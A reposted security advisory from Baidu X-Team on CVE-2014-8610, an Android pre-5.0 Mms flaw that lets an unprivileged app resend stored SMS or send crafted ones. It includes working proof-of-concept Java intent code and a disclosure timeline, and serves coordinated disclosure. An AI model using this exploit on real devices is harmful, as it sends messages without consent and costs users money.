首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Android SMS Resend Vulnerability
来源:xteam.baidu.com 作者:WangTao 发布时间:2014-11-27  
INTRODUCTION
==================================
In Android <5.0, an unprivileged app can resend all the SMS stored in the user's phone to their corresponding recipients or senders (without user interaction).
No matter whether these SMS are sent to or received from other people. This may leads to undesired cost to user.
Even the worse, since Android also allow unprivileged app to create draft SMS, combined with this trick, bad app can send any SMS without privilege requirement.
  
DETAILS
==================================
This vulnerability exists in the following source file of the Mms app:
https://android.googlesource.com/platform/packages/apps/Mms/+/android-4.4.4_r2.0.1/src/com/android/mms/transaction/SmsReceiverService.java
If bad app broadcast an intent with action "com.android.mms.transaction.MESSAGE_SENT", it will reach the method "handleSmsSent". If the bad app can also control the resultcode to be RESULT_ERROR_RADIO_OFF, then it will reach the following conditional branch, there the SMS (determined by uri ) will be moved to a queue to be resent:
  
private void handleSmsSent(Intent intent, int error) {
         ...
         } else if ((mResultCode == SmsManager.RESULT_ERROR_RADIO_OFF) || (mResultCode == SmsManager.RESULT_ERROR_NO_SERVICE)) {
                   if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) {
                            Log.v(TAG, "handleSmsSent: no service, queuing message w/ uri: " + uri);
                   }
                   // We got an error with no service or no radio. Register for state changes so
                   // when the status of the connection/radio changes, we can try to send the
                   // queued up messages.
                   registerForServiceStateChanges();
                   // We couldn't send the message, put in the queue to retry later.
                   Sms.moveMessageToFolder(this, uri, Sms.MESSAGE_TYPE_QUEUED, error);
         ...
  
The POC code is as follows:
  
Intent intent= new Intent("com.android.mms.transaction.MESSAGE_SENT");
intent.setData(Uri.parse("content://sms"));
intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiver");
sendOrderedBroadcast(intent,null,null,null,SmsManager.RESULT_ERROR_RADIO_OFF,null,null);
  
Some tips about the POC:
1. uri is content://sms without specifying the ID, that means all the SMS will be resent.
2. must use explicit intent
3. with this version of sendOrderedBroadcast, the initial result code can be controlled
  
Normally, once the SMS is moved to the queue, it will be sent automatically!
  
But can we craft any SMS message? here is a trick:
  
Currently, any app can create a draft SMS without permission by a code snippet as follows:
  
Intent intent1 = new Intent("android.intent.action.SENDTO");
intent1.setData(Uri.parse("smsto:yourphonenumber"));
intent1.putExtra("sms_body", "another test sms1!");
startActivity(intent1);
  
After send the above intent, the app can wait for a short time then start another activity, this will cause ComposeMessageActivity in MMS app to call method onStop(), which will save the draft into database, which can be resent later. Thus we can craft any SMS message without permission requirement.
  
This has been fixed in android 5.0 (android bug id 17671795)
https://android.googlesource.com/platform/packages/apps/Mms/+/008d6202fca4002a7dfe333f22377faa73585c67
  
TIMELINE
==================================
26.09.2014 Initial report to Android Security Team with the POC
27.09.2014 Reply from Android Security Team "are looking into it"
30.09.2014 Find app can create draft and notify Android Security Team with a updated POC
02.10.2014 Reply from Android Security Team "We will fix this issue in the next major release"
04.11.2014 Android 5.0 source code is open, the fix for this issue is found in change log, ask Android Security Team when this can be published
09.11.2014 Contact MITRE about this issue
20.11.2014 CVE-2014-8610 assigned
25.11.2014 Got Permission from Android Security Team to publish this
26.11.2014 Public Disclosure
  
IDENTIFIERS
==================================
CVE-2014-8610
Android id 17671795
  
CREDITS
==================================
WangTao (neobyte) of Baidu X-Team
WangYu of Baidu X-Team
Zhang Donghui of Baidu X-Team
  
--
BAIDU X-TEAM (xteam.baidu.com)
An external link of this advisory can be found at http://xteam.baidu.com/?p=164

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Android Settings Pendingintent
·Sniffit Root Shell
·Slider Revolution/Showbiz Pro
·WordPress 4.0 Denial Of Servic
·Device42 WAN Emulator 2.3 Ping
·Tiny Server 1.1.9 Arbitrary Fi
·Device42 WAN Emulator 2.3 Trac
·Microsoft Internet Explorer Wi
·Android WAPPushManager - SQL I
·Tincd Post-Authentication Remo
·Elipse E3 HTTP Denial of Servi
·Mac OS X IOKit Keyboard Driver
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved